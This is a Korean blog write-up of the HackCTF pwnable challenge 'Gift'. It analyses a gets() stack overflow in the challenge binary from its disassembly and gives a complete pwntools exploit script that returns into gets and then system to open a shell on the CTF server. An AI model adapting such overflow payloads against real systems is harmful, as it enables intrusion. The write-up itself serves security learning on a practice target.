본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Gift 풀이

by snwo 2020. 6. 24.

snwo@snwo:~/Documents/GitHub/Wargame/Pwnable/HackCTF$ ./gift
Hey guyssssssssss here you are: 0x8049940 0xf7d92200
good
good
hello

 

이렇게 두 주소를 준다. gdb 로 확인해보니,

첫번째주소는 전역변수 binsh 의 주소이다. 근데 아무런 데이터도 없는걸 봐선

내가 저 주소에 binsh 를 입력해야 하는 것 같다.

 

두번째주소는 system 함수의 주소이다.


   0x080485cc <+134>:	push   eax
   0x080485cd <+135>:	push   0x80
   0x080485d2 <+140>:	lea    eax,[ebp-0x84]
   0x080485d8 <+146>:	push   eax
   0x080485d9 <+147>:	call   0x80483e0 <fgets@plt>
   0x080485de <+152>:	add    esp,0xc
   0x080485e1 <+155>:	lea    eax,[ebp-0x84]
   0x080485e7 <+161>:	push   eax
   0x080485e8 <+162>:	call   0x80483c0 <printf@plt>
   0x080485ed <+167>:	add    esp,0x4
   0x080485f0 <+170>:	lea    eax,[ebp-0x84]
   0x080485f6 <+176>:	push   eax
   0x080485f7 <+177>:	call   0x80483d0 <gets@plt>
   0x080485fc <+182>:	add    esp,0x4
   0x080485ff <+185>:	mov    eax,0x0
   0x08048604 <+190>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08048607 <+193>:	leave  
   0x08048608 <+194>:	ret 

입력을 두번 받는데, 처음에는 fgets 로 0x80 만큼 입력받아서 ret 를 덮을 수 없고,

두번째는 gets 로 입력받아 ret 를 덮을 수 있다.

 

gets함수로 리턴해서 binsh 에 '/bin/sh' 를 입력하고,

binsh 를 인자로해서 system 함수를 호출하면 되겠다.


 

r=remote("ctf.j0n9hyun.xyz",3018)
#r=process("./gift")
r.recvuntil(": ")
s=r.recvline().strip()
s=s.split()
context.log_level='debug'

pay1="snwo.tistory.com"
r.sendline(pay1)

pay2=""
pay2+='x'*0x88
pay2+=p32(0x80483d0) #gets
pay2+=p32(int(s[1],16)) #ret
pay2+=p32(int(s[0],16)) #arg
pay2+=p32(int(s[0],16)) #system-arg

r.sendline(pay2)
r.sendline('/bin/sh\x00')

r.interactive()

첫번째 input 은 아무상관 없다.